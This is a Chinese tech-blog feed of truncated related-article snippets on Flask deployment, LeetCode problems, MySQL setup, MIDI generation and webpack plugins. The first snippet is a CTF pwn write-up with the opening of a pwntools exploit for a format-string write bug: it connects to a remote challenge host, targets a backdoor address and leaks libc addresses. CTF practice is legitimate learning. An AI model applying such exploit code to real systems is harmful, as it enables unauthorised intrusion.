本文分类:news发布日期:2024/12/25 23:22:25
相关文章
[XYCTF新生赛]-PWN:fmt解析(scanf格式化字符串漏洞,任意地址写)
查看保护 查看ida 这里没什么好说的
完整exp:
from pwn import*
context(log_leveldebug)
#pprocess(./fmt)
premote(gz.imxbt.cn,20975)
backdoor0x4012BEp.recvuntil(bgift: )
printf_addrint(p.recv(14),16)
print(hex(printf_addr))
libcELF(./libc-2.31.so)
…
建站知识
2024/12/24 5:16:14
flask+uwsgi+nginx+cerbot配置
配置步骤
安装flask和uwsgi
pip install Flask uwsgi
创建一个简单的flask应用(app.py)或者是自己的flask项目
from flask import Flask
app Flask(__name__)app.route(/)
def hello_world():return Hello, World!
配置uwsgi,这里我给出…
建站知识
2024/12/24 19:06:06
【每日刷题】Day31
1. 2074. 反转偶数长度组的节点 - 力扣(LeetCode) //思路:双指针遍历。将链表存入数组中,通过双指针下标遍历定位需要反转的组。 typedef struct ListNode LN; void Reverse(int* arr,int left,int right)//反转函数 { while(left…
建站知识
2024/12/23 16:16:09
使用 Flask、Gunicorn 与 Shell 脚本构建高效 Web 应用部署流程
在使用 Flask 作为 Web 应用框架,并使用 Gunicorn 作为 WSGI 容器,使用shell 脚本来管理应用的启动、重启和停止。
启动脚本 start.sh:
#!/bin/bash# 设置应用名称和端口
APP_NAME"my_flask_app"
PORT8000# 设置 Flask 应用的路径…
建站知识
2024/12/23 16:32:09
MySQL基础学习(待整理)
MySQL 简介
学习路径 MySQL 安装 卸载预安装的mariadb rpm -qa | grep mariadb
rpm -e --nodeps mariadb-libs安装网络工具 yum -y install net-tools
yum -y install libaio下载rpm-bundle.tar安装包,并解压,使用rpm进行安装 rpm -ivh \
mysql-communi…
建站知识
2024/12/24 11:16:30
python:用 mido 生成 midi文件,用 pygame 播放 mid文件
pip install mido Downloading mido-1.3.2-py3-none-any.whl (54 kB) Downloading packaging-23.2-py3-none-any.whl (53 kB) Installing collected packages: packaging, mido Successfully installed mido-1.3.2 packaging-23.2
mido 官网文档
pip intall pygame pygame…
建站知识
2024/12/25 2:37:01
LeetCode 131 —— 分割回文串
阅读目录 1. 题目2. 解题思路3. 代码实现 1. 题目 2. 解题思路
首先,按照 LeetCode 5——最长回文子串 中的思路,我们先求出 d p dp dp,这样我们就知道了所有的子串是否是回文子串。
然后,我们进行一个 dfs 搜索,起…
建站知识
2024/12/22 20:41:27
webpack 常用插件
clean-webpack-plugin 这个插件的主要作用是清除构建目录中的旧文件,以确保每次构建时都能得到一个干净的环境。
var { CleanWebpackPlugin } require("clean-webpack-plugin")
const path require("path");module.exports {mode: "de…
建站知识
2024/12/23 14:01:49